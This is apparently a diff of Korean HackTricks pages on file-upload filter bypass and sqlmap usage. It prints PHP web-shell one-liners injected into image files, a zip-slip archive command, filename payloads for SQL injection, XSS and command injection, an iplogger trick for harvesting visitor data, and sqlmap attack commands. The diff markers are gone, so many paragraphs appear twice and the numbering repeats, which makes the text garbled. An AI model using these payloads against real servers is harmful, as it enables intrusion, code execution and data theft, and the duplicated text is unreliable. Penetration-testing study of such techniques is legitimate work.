6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (Apache 잘못 구성에서 유용하며, 확장자** _**.php**_**로 끝나지 않더라도** 코드를 실행합니다):
- _ex: file.php.png_
7. **Windows**에서 **NTFS 대체 데이터 스트림(ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로 **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
8. 파일 이름 제한을 **뜨려** 보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
7. **Windows**에서 **NTFS 대체 데이터 스트림 (ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
8. 파일 이름 제한을 깨보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
```
# 리눅스 최대 255 바이트
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 예를 들어 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -67,23 +67,23 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 또는 이미지를 통해 **페이로드를 직접 삽입**할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용합니다. 그러나 **IDAT 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용합니다. 그러나 **IDAT 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술. 그러나 **tEXt 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술입니다. 그러나 **tEXt 청크** [**여기서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 확인할 기타 트릭
- 이미 업로드된 파일의 **이름을 바꿀 수 있는 취약점**을 찾습니다 (확장자를 변경).
- 이미 업로드된 파일의 이름을 **변경**할 수 있는 취약점을 찾습니다 (확장자를 변경).
- **로컬 파일 포함** 취약점을 찾아 백도어를 실행합니다.
- **정보 유출 가능성**:
1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다.
2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다. (Windows) 예: **“…:.jpg”**
5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. (Windows) 예: `|<>*?”`
5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다. 예: `|<>*?”` (Windows)
6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다. 예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9.
- 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다.
@ -94,7 +94,7 @@ AAA<--SNIP 232 A-->AAA.php.png
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
`.inc` 확장자는 때때로 **파일을 가져오는 데만 사용되는 PHP 파일**에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
`.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
## **Jetty RCE**
@ -106,7 +106,7 @@ Jetty 서버에 XML 파일을 업로드할 수 있다면, [RCE를 얻을 수 있
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하십시오: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행(RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "마법" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 구성 파일이 처리될 때 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위한 악의적인 목적으로 조작될 수 있습니다.
다음은 다양한 스킴을 보여주는 유해한 `uwsgi.ini` 파일의 예입니다:
```ini
@ -132,7 +132,7 @@ uWSGI의 구성 파일 파싱의 느슨한 특성을 이해하는 것이 중요
## **wget 파일 업로드/SSRF 트릭**
일부 경우, 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사는 우회될 수 있습니다.**\
일부 경우 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사를 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 하지만 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
```bash
#Create file and HTTP server
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
다른 옵션은 이 검사를 우회하기 위해 **HTTP 서버가 다른 파일로 리디렉션**하도록 만드는 것입니다. 이렇게 하면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드합니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**.
다른 옵션은 이 검사를 우회하기 위해 **HTTP 서버가 다른 파일로 리디렉션**하도록 만드는 것입니다. 그러면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드합니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**.
## 도구
@ -168,19 +168,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- **filename**을 `sleep(10)-- -.jpg`로 설정하면 **SQL 인젝션**을 달성할 수 있습니다.
- **filename**을 `<svg onload=alert(document.domain)>`로 설정하여 XSS를 달성합니다.
- **filename**을 `; sleep 10;`으로 설정하여 일부 명령 주입을 테스트합니다 (더 많은 [명령 주입 트릭은 여기](../command-injection.md)에서 확인하세요).
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** 파일 **업로드** + **XSS** = [**Service Workers** 악용](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- [**XSS** 이미지 (svg) 파일 업로드](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** 파일 **업로드** + **XSS** = [**서비스 워커** 악용](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**SVG 업로드에서 XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**SVG 파일 업로드를 통한 오픈 리디렉션**](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드**를 시도해 보세요.
- [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **웹 서버에 URL에서 이미지를 가져오도록 지시**할 수 있다면 [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- [**XXE와 CORS** 우회 PDF-Adobe 업로드](pdf-upload-xxe-and-cors-bypass.md)
- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
- **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/index.html)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- [PDF-Adobe 업로드로 **XXE 및 CORS** 우회](pdf-upload-xxe-and-cors-bypass.md)
- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면, 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다.
- 파일 업로드 시 **크기 제한**이 있는지 확인합니다.
여기 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
여기 파일 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: 웹쉘 / RCE
2. **SVG**: 저장된 XSS / SSRF / XXE
@ -188,7 +188,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
4. **CSV**: CSV 인젝션
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML 인젝션 / XSS / 오픈 리디렉션
7. **HTML / JS**: HTML 인젝션 / XSS / 오픈 리디렉션
8. **PNG / JPEG**: 픽셀 플러드 공격 (DoS)
9. **ZIP**: LFI를 통한 RCE / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
@ -206,11 +206,11 @@ https://github.com/portswigger/upload-scanner
다른 파일 형식에 대한 정보는 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)를 참조하세요.
### Zip/Tar 파일 자동 압축 해제 업로드
## Zip/Tar 파일 자동 압축 해제 업로드
서버 내에서 압축 해제될 ZIP 파일을 업로드할 수 있다면, 두 가지 작업을 수행할 수 있습니다:
#### 심볼릭 링크
### 심볼릭 링크
다른 파일에 대한 소프트 링크를 포함하는 링크를 업로드한 다음, 압축 해제된 파일에 접근하여 링크된 파일에 접근할 수 있습니다:
```
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### 다른 폴더에 압축 해제
압축 해제 중 디렉토리에서 파일이 예상치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악의적인 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다.
압축 해제 중 디렉토리에서 파일이 예기치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악성 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다.
이러한 파일을 생성하기 위한 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
```python
@ -229,7 +229,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
또한, **evilarc와 함께하는 symlink 트릭**도 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 작동 중 오류를 겪지 않도록 보장됩니다.
추가적으로, **evilarc와 함께하는 symlink 트릭**은 옵션입니다. 목표가 `/flag.txt`와 같은 파일을 타겟으로 하는 경우, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 작동 중 오류를 겪지 않도록 보장합니다.
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
```python
@ -291,7 +291,7 @@ pop graphic-context
PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized``imagecopyresampled` 함수는 각각 이미지를 크기 조정하고 재샘플링하는 데 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 삽입된 PHP 셸이 이러한 작업의 영향을 받지 않는 능력은 특정 사용 사례에 있어 중요한 장점입니다.
이 기술에 대한 자세한 탐색, 방법론 및 잠재적 응용 프로그램이 포함된 기사는 다음 기사에서 제공됩니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다.
이 기술에 대한 자세한 탐색, 방법론 및 잠재적 응용 프로그램 다음 기사에서 제공됩니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의미에 대한 포괄적인 이해를 제공합니다.
자세한 정보는: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
@ -299,12 +299,20 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작
폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브로 기능하는 하이브리드인 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있습니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 유해한 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### PDF처럼 유효한 JSON 업로드하기
PDF 파일로 위장하여 유효한 JSON 파일을 업로드함으로써 파일 유형 감지를 피하는 방법(기술은 **[이 블로그 게시물](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**에서 제공됨):
- **`mmmagic` 라이브러리**: `%PDF` 매직 바이트가 처음 1024 바이트에 있으면 유효합니다(게시물에서 예시 가져오기)
- **`pdflib` 라이브러리**: JSON의 필드 안에 가짜 PDF 형식을 추가하여 라이브러리가 PDF로 인식하게 합니다(게시물에서 예시 가져오기)
- **`file` 바이너리**: 파일에서 최대 1048576 바이트를 읽을 수 있습니다. JSON보다 큰 JSON을 생성하여 내용을 JSON으로 파싱할 수 없게 하고, JSON 안에 실제 PDF의 초기 부분을 넣으면 PDF로 인식하게 됩니다.
## 참고 문헌
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
@ -313,5 +321,6 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -79,9 +79,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```bash
--string="string_showed_when_TRUE"
```
### 탐지 기술 추가
SQLi를 발견했지만 sqlmap이 이를 감지하지 못한 경우, `--prefix` 또는 `--suffix`와 같은 인수를 사용하여 탐지 기술을 강제로 적용할 수 있습니다. 더 복잡한 경우에는 `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`에 sqlmap이 사용하는 페이로드에 추가할 수 있습니다. 예를 들어, 시간 블라인드 기반입니다.
### Eval
**Sqlmap**는 `-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 일부 파이썬 원라이너로 처리할 수 있습니다. 이를 통해 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있습니다. 다음 예제에서 **flask 쿠키 세션** **은 전송하기 전에 알려진 비밀로 flask에 의해 서명됩니다**:
**Sqlmap**`-e` 또는 `--eval`을 사용하여 각 페이로드를 전송하기 전에 처리할 수 있습니다. 이는 페이로드를 전송하기 전에 사용자 정의 방식으로 쉽게 빠르게 처리할 수 있게 해줍니다. 다음 예제에서 **flask 쿠키 세션** **은 전송하기 전에 알려진 비밀로 flask에 의해 서명됩니다**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -108,7 +112,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
### 2차 주입
### 두 번째 차수 주입
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
@ -125,7 +129,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### 부울 주입 찾기 도움
### Help finding boolean injection
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
@ -144,33 +148,33 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| appendnullbyte.py | 페이로드 끝에 인코딩된 NULL 바이트 문자를 추가합니다. |
| base64encode.py | 주어진 페이로드의 모든 문자를 Base64로 인코딩합니다. |
| between.py | '>' 연산자를 'NOT BETWEEN 0 AND #'로 대체합니다. |
| bluecoat.py | SQL 문 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 문자를 LIKE 연산자로 대체합니다. |
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
| bluecoat.py | SQL 문 뒤의 공백 문자를 유효한 무작위 공백 문자로 대체합니다. 이후 '=' 문자를 LIKE 연산자로 대체합니다. |
| chardoubleencode.py | 주어진 페이로드의 모든 문자를 이중 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
| commalesslimit.py | 'LIMIT M, N'과 같은 인스턴스를 'LIMIT N OFFSET M'으로 대체합니다. |
| commalessmid.py | 'MID(A, B, C)'와 같은 인스턴스를 'MID(A FROM B FOR C)'로 대체합니다. |
| concat2concatws.py | 'CONCAT(A, B)'와 같은 인스턴스를 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'로 대체합니다. |
| charencode.py | 주어진 페이로드의 모든 문자를 URL 인코딩합니다(이미 인코딩된 것은 처리하지 않음). |
